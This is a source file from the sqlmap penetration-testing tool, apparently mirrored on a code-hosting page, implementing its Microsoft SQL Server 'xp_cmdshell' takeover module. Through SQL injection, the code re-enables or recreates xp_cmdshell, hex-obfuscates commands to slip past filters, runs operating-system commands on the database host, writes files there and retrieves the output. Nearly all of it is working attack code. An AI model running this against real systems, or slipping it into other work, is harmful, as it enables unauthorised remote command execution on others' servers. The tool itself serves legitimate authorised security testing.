Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/xp_cmdshell.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from lib.core.agent import agent
9
from lib.core.common import Backend
10
from lib.core.common import flattenValue
11
from lib.core.common import getLimitRange
12
from lib.core.common import getSQLSnippet
13
from lib.core.common import hashDBWrite
14
from lib.core.common import isListLike
15
from lib.core.common import isNoneValue
16
from lib.core.common import isNumPosStrValue
17
from lib.core.common import isTechniqueAvailable
18
from lib.core.common import popValue
19
from lib.core.common import pushValue
20
from lib.core.common import randomStr
21
from lib.core.common import readInput
22
from lib.core.common import wasLastResponseDelayed
23
from lib.core.compat import xrange
24
from lib.core.convert import encodeHex
25
from lib.core.data import conf
26
from lib.core.data import kb
27
from lib.core.data import logger
28
from lib.core.decorators import stackedmethod
29
from lib.core.enums import CHARSET_TYPE
30
from lib.core.enums import DBMS
31
from lib.core.enums import EXPECTED
32
from lib.core.enums import HASHDB_KEYS
33
from lib.core.enums import PAYLOAD
34
from lib.core.exception import SqlmapUnsupportedFeatureException
35
from lib.core.threads import getCurrentThreadData
36
from lib.request import inject
37
38
class XP_cmdshell(object):
39
"""
40
This class defines methods to deal with Microsoft SQL Server
41
xp_cmdshell extended procedure for plugins.
42
"""
43
44
def __init__(self):
45
self.xpCmdshellStr = "master..xp_cmdshell"
46
47
def _xpCmdshellCreate(self):
48
cmd = ""
49
50
if not Backend.isVersionWithin(("2000",)):
51
logger.debug("activating sp_OACreate")
52
53
cmd = getSQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
54
inject.goStacked(agent.runAsDBMSUser(cmd))
55
56
self._randStr = randomStr(lowercase=True)
57
self.xpCmdshellStr = "master..new_xp_cmdshell"
58
59
cmd = getSQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self._randStr)
60
61
if not Backend.isVersionWithin(("2000",)):
62
cmd += ";RECONFIGURE WITH OVERRIDE"
63
64
inject.goStacked(agent.runAsDBMSUser(cmd))
65
66
def _xpCmdshellConfigure2005(self, mode):
67
debugMsg = "configuring xp_cmdshell using sp_configure "
68
debugMsg += "stored procedure"
69
logger.debug(debugMsg)
70
71
cmd = getSQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
72
73
return cmd
74
75
def _xpCmdshellConfigure2000(self, mode):
76
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
77
debugMsg += "stored procedure"
78
logger.debug(debugMsg)
79
80
if mode == 1:
81
cmd = getSQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
82
else:
83
cmd = getSQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))
84
85
return cmd
86
87
def _xpCmdshellConfigure(self, mode):
88
if Backend.isVersionWithin(("2000",)):
89
cmd = self._xpCmdshellConfigure2000(mode)
90
else:
91
cmd = self._xpCmdshellConfigure2005(mode)
92
93
inject.goStacked(agent.runAsDBMSUser(cmd))
94
95
def _xpCmdshellCheck(self):
96
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
97
self.xpCmdshellExecCmd(cmd)
98
99
return wasLastResponseDelayed()
100
101
@stackedmethod
102
def _xpCmdshellTest(self):
103
threadData = getCurrentThreadData()
104
pushValue(threadData.disableStdOut)
105
threadData.disableStdOut = True
106
107
logger.info("testing if xp_cmdshell extended procedure is usable")
108
output = self.xpCmdshellEvalCmd("echo 1")
109
110
if output == "1":
111
logger.info("xp_cmdshell extended procedure is usable")
112
elif isNoneValue(output) and conf.dbmsCred:
113
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
114
errMsg += "storing console output within the back-end file system "
115
errMsg += "does not have writing permissions for the DBMS process. "
116
errMsg += "You are advised to manually adjust it with option "
117
errMsg += "'--tmp-path' or you won't be able to retrieve "
118
errMsg += "the command(s) output"
119
logger.error(errMsg)
120
elif isNoneValue(output):
121
logger.error("unable to retrieve xp_cmdshell output")
122
else:
123
logger.info("xp_cmdshell extended procedure is usable")
124
125
threadData.disableStdOut = popValue()
126
127
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
128
echoedLines = []
129
cmd = ""
130
charCounter = 0
131
maxLen = 512
132
133
if isinstance(fileContent, (set, list, tuple)):
134
lines = fileContent
135
else:
136
lines = fileContent.split("\n")
137
138
for line in lines:
139
echoedLine = "echo %s " % line
140
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
141
echoedLines.append(echoedLine)
142
143
for echoedLine in echoedLines:
144
cmd += "%s & " % echoedLine
145
charCounter += len(echoedLine)
146
147
if charCounter >= maxLen:
148
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
149
150
cmd = ""
151
charCounter = 0
152
153
if cmd:
154
self.xpCmdshellExecCmd(cmd.rstrip(" & "))
155
156
def xpCmdshellForgeCmd(self, cmd, insertIntoTable=None):
157
# When user provides DBMS credentials (with --dbms-cred) we need to
158
# redirect the command standard output to a temporary file in order
159
# to retrieve it afterwards
160
# NOTE: this does not need to be done when the command is 'del' to
161
# delete the temporary file
162
if conf.dbmsCred and insertIntoTable:
163
self.tmpFile = "%s/tmpc%s.txt" % (conf.tmpPath, randomStr(lowercase=True))
164
cmd = "%s > \"%s\"" % (cmd, self.tmpFile)
165
166
# Obfuscate the command to execute, also useful to bypass filters
167
# on single-quotes
168
self._randStr = randomStr(lowercase=True)
169
self._forgedCmd = "DECLARE @%s VARCHAR(8000);" % self._randStr
170
171
try:
172
self._forgedCmd += "SET @%s=%s;" % (self._randStr, "0x%s" % encodeHex(cmd, binary=False))
173
except UnicodeError:
174
self._forgedCmd += "SET @%s='%s';" % (self._randStr, cmd)
175
176
# Insert the command standard output into a support table,
177
# 'sqlmapoutput', except when DBMS credentials are provided because
178
# it does not work unfortunately, BULK INSERT needs to be used to
179
# retrieve the output when OPENROWSET is used hence the redirection
180
# to a temporary file from above
181
if insertIntoTable and not conf.dbmsCred:
182
self._forgedCmd += "INSERT INTO %s(data) " % insertIntoTable
183
184
self._forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self._randStr)
185
186
return agent.runAsDBMSUser(self._forgedCmd)
187
188
def xpCmdshellExecCmd(self, cmd, silent=False):
189
return inject.goStacked(self.xpCmdshellForgeCmd(cmd), silent)
190
191
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
192
output = None
193
194
if conf.direct:
195
output = self.xpCmdshellExecCmd(cmd)
196
197
if output and isinstance(output, (list, tuple)):
198
new_output = ""
199
200
for line in output:
201
if line == "NULL":
202
new_output += "\n"
203
else:
204
new_output += "%s\n" % line.strip("\r")
205
206
output = new_output
207
else:
208
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
209
210
# When user provides DBMS credentials (with --dbms-cred), the
211
# command standard output is redirected to a temporary file
212
# The file needs to be copied to the support table,
213
# 'sqlmapoutput'
214
if conf.dbmsCred:
215
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10)))
216
self.delRemoteFile(self.tmpFile)
217
218
query = "SELECT %s FROM %s ORDER BY id" % (self.tblField, self.cmdTblName)
219
220
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
221
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
222
223
if (output is None) or len(output) == 0 or output[0] is None:
224
output = []
225
count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
226
227
if isNumPosStrValue(count):
228
for index in getLimitRange(count):
229
query = agent.limitQuery(index, query, self.tblField)
230
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
231
232
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
233
234
if output and isListLike(output) and len(output) > 1:
235
_ = ""
236
lines = [line for line in flattenValue(output) if line is not None]
237
238
for i in xrange(len(lines)):
239
line = lines[i] or ""
240
if line is None or i in (0, len(lines) - 1) and not line.strip():
241
continue
242
_ += "%s\n" % line
243
244
output = _.rstrip('\n')
245
246
return output
247
248
def xpCmdshellInit(self):
249
if not kb.xpCmdshellAvailable:
250
infoMsg = "checking if xp_cmdshell extended procedure is "
251
infoMsg += "available, please wait.."
252
logger.info(infoMsg)
253
254
result = self._xpCmdshellCheck()
255
256
if result:
257
logger.info("xp_cmdshell extended procedure is available")
258
kb.xpCmdshellAvailable = True
259
260
else:
261
message = "xp_cmdshell extended procedure does not seem to "
262
message += "be available. Do you want sqlmap to try to "
263
message += "re-enable it? [Y/n] "
264
265
if readInput(message, default='Y', boolean=True):
266
self._xpCmdshellConfigure(1)
267
268
if self._xpCmdshellCheck():
269
logger.info("xp_cmdshell re-enabled successfully")
270
kb.xpCmdshellAvailable = True
271
272
else:
273
logger.warning("xp_cmdshell re-enabling failed")
274
275
logger.info("creating xp_cmdshell with sp_OACreate")
276
self._xpCmdshellConfigure(0)
277
self._xpCmdshellCreate()
278
279
if self._xpCmdshellCheck():
280
logger.info("xp_cmdshell created successfully")
281
kb.xpCmdshellAvailable = True
282
283
else:
284
warnMsg = "xp_cmdshell creation failed, probably "
285
warnMsg += "because sp_OACreate is disabled"
286
logger.warning(warnMsg)
287
288
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
289
290
if not kb.xpCmdshellAvailable:
291
errMsg = "unable to proceed without xp_cmdshell"
292
raise SqlmapUnsupportedFeatureException(errMsg)
293
294
debugMsg = "creating a support table to write commands standard "
295
debugMsg += "output to"
296
logger.debug(debugMsg)
297
298
# TEXT can't be used here because in error technique you get:
299
# "The text, ntext, and image data types cannot be compared or sorted"
300
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
301
302
self._xpCmdshellTest()
303
304